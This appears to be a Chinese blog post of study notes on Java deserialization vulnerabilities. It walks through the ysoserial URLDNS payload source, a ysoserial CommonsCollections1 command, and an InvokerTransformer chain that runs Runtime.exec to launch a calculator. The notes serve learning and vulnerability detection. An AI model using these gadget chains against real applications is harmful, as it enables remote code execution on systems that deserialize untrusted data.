JAVA-反序列化

Fc04dB Lv4

# 反序列化

序列化:将内存中的对象压缩成字节流
反序列化:将字节流转化成内存中的对象

Java 提供了一种对象序列化的机制。用一个字节序列可以表示一个对象,该字节序列包含该对象的数据、对象的类型和对象中存储的属性等信息。字节序列写出到文件之后,相当于文件中持久保存了一个对象的信息。

反之,该字节序列还可以从文件中读取回来,重构对象,对它进行反序列化。对象的数据,对象的类型,对象中存储的数据等信息,都可以用来在内存中创建对象。

image-20240829225353493

序列化与反序列化的设计就是用来传输数据的。
当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。
应用场景:

  1. 想把内存中的对象保存到一个文件中或者是数据库当中。
  2. 用套接字在网络上传输对象。
  3. 通过 RMI 传输对象的时候。

几种创建的序列化和反序列化协议

・JAVA 内置的 writeObject ()/readObject ()
・JAVA 内置的 XMLDecoder ()/XMLEncoder
• XStream
• SnakeYaml
• FastJson
• Jackson

# JAVA 内置的 writeObject ()/readObject ()

序列化

image-20240830011200489

反序列化

image-20240830011241430

# 重写 readObject 造成漏洞

原始对象中重写 private readObject 方法,在执行反序列化时候,会被默认优先调用

1
2
3
4
5
//序列化目标Userdemo
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject(); //恢复对象的默认状态
Runtime.getRuntime().exec("calc"); //执行外部命令
}

序列化后执行反序列化就会执行命令调出计算器

image-20240830121827396

# toString 造成漏洞

如果对 obj 对象进行输出 默认调用原始对象的 toString 方法 而造成执行外部命令

反序列化:

image-20240830141958469

# 可控其他类重写方法

ysoserial/src/main/java/ysoserial/payloads/URLDNS.java at master · frohoff/ysoserial (github.com)

  • 正常代码中 创建对象 HashMap
  • 用到原生态 readObject 方法去反序列化数据
    • readObject 本来在 ObjectInputSteam
    • HashMap 也有 readObject 方法

image-20240830145405326

反序列化时调用 HashMap 里面的 readObject

Gadget Chain:

  • HashMap.readObject()
  • HashMap.putVal()
  • HashMap.hash()
  • URL.hashCode()

hashCode 执行结果 触发访问 DNS 请求 如果这里是执行命令的话 就是 RCE 漏洞

image-20240830150010296

  1. 潜在的反序列化漏洞: 通过 SerializableTest 方法将 HashMap 对象序列化并输出到文件 “dns.txt”,然后通过 UnserializableTest 方法尝试反序列化。这里存在潜在的反序列化漏洞,因为如果恶意用户能够控制序列化的输入,可能导致远程命令执行(RCE)漏洞。
  2. Gadget Chain 分析: 通过 HashMap 的 readObject 方法,调用了 HashMap.putVal () 方法,最终调用了 URL.hashCode ()。如果 hashCode () 方法的实现涉及到远程资源的访问(例如 DNS 查询),那么在反序列化时就可能触发远程请求。
  3. 潜在的安全问题: 如果 URL.hashCode () 实现中有不受信任的代码,例如执行系统命令或访问远程资源,那么通过构造特定的 URL 对象,攻击者就能够触发恶意操作。

# p 牛的 java 安全漫谈

先从 URLDNS 开始看起,因为它⾜够简单。

# ysoserial

什么是利用连?

利⽤链也叫 “gadget chains”,我们通常称为 gadget。如果你学过 PHP 反序列化漏洞,那么就可以将 gadget 理解为⼀种⽅法,它连接的是从触发位置开始到执⾏命令的位置结束,在 PHP ⾥可能是 __desctruct 到 eval

ysoserial 的使⽤也很简单,虽然我们暂时先不理解 CommonsCollections ,但是⽤ ysoserial 可以很容

易地⽣成这个 gadget 对应的 POC:

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id"

如上,ysoserial ⼤部分的 gadget 的参数就是⼀条命令,⽐如这⾥是 id 。⽣成好的 POC 发送给⽬标,如果⽬标存在反序列化漏洞,并满⾜这个 gadget 对应的条件,则命令 id 将被执⾏。

# URLDNS

上面再开发的角度有过利用

URLDNS 就是 ysoserial 中⼀个利⽤链的名字,但准确来说,这个其实不能称作 “利⽤链”。因为其参数不是⼀个可以 “利⽤” 的命令,⽽仅为⼀个 URL,其能触发的结果也不是命令执⾏,⽽是⼀次 DNS 请求。

虽然这个 “利⽤链” 实际上是不能 “利⽤” 的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时使⽤:

  • 使⽤ Java 内置的类构造,对第三⽅库没有依赖
  • 在⽬标没有回显的时候,能够通过 DNS 请求得知是否存在反序列化漏洞

接着 p 牛的思路,分析一下 ysoserial 是如何⽣成 URLDNS 的代码的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

整个 URLDNS 的 Gadget 其实清晰⼜简单:

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

从反序列化最开始的 readObject ,到最后触发 DNS 请求的 getByName ,只经过了 6 个函数调⽤,这在 Java 中其实已经算很少了。

要构造这个 Gadget,只需要初始化⼀个 java.net.URL 对象,作为 key 放在 java.util.HashMap 中;然后,设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时将会重新计算其 hashCode ,才能触发到后⾯的 DNS 请求,否则不会调⽤ URL->hashCode () 。

另外,ysoserial 为了防⽌在⽣成 Payload 的时候也执⾏了 URL 请求和 DNS 查询,所以重写了⼀个 SilentURLStreamHandler 类,这不是必须的。

# CommonCollections1 利⽤链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.vulhub.Ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformerChain = newChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
outerMap.put("test", "xxxx");
}
}

TransformedMap

TransformedMap ⽤于对 Java 标准数据结构 Map 做⼀个修饰,被修饰过的 Map 在添加新的元素时,将可以执⾏⼀个回调。我们通过下⾯这⾏代码对 innerMap 进⾏修饰,传出的 outerMap 即是修饰后的 Map:

1
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);

其中,keyTransformer 是处理新元素的 Key 的回调,valueTransformer 是处理新元素的 value 的回调。我们这⾥所说的” 回调 “,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了 Transformer 接⼝的类。

Transformer

Transformer 是⼀个接⼝,它只有⼀个待实现的⽅法:

1
2
3
public interface Transformer {
public Object transform(Object input);
}

TransformedMap 在转换 Map 的新元素时,就会调⽤ transform ⽅法,这个过程就类似在调⽤⼀个” 回调函数 “,这个回调的参数是原始对象。

ConstantTransformer

ConstantTransformer 是实现了 Transformer 接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个对象,并在 transform ⽅法将这个对象再返回:

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}

所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。

InvokerTransformer

InvokerTransformer 是实现了 Transformer 接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键。

在实例化这个 InvokerTransformer 时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[]args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

后⾯的回调 transform ⽅法,就是执⾏了 input 对象的 iMethodName ⽅法:

1
2
3
4
5
6
7
8
9
10
11
12
13
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" +iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" +iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" +iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

ChainedTransformer

ChainedTransformer 也是实现了 Transformer 接⼝的⼀个类,它的作⽤是将内部的多个 Transformer 串在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊,我们画⼀个图做示意:

image-20240914134211866

1
2
3
4
5
6
7
8
9
10
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

最终

创建了⼀个 ChainedTransformer,其中包含两个 Transformer:第⼀个是 ConstantTransformer,直接返回当前环境的 Runtime 对象;第⼆个是 InvokerTransformer,执⾏ Runtime 对象的 exec ⽅法,参数是 /System/Applications/Calculator.app/Contents/MacOS/Calculator 。

当然,这个 transformerChain 只是⼀系列回调,我们需要⽤其来包装 innerMap,使⽤的前⾯说到的 TransformedMap.decorate :

1
2
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

最后,怎么触发回调呢?就是向 Map 中放⼊⼀个新的元素:

1
outerMap.put("test", "xxxx");
  • Title: JAVA-反序列化
  • Author: Fc04dB
  • Created at : 2024-08-29 22:35:41
  • Updated at : 2024-09-14 13:53:35
  • Link: https://redefine.ohevan.com/2024/08/29/JAVA-反序列化/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments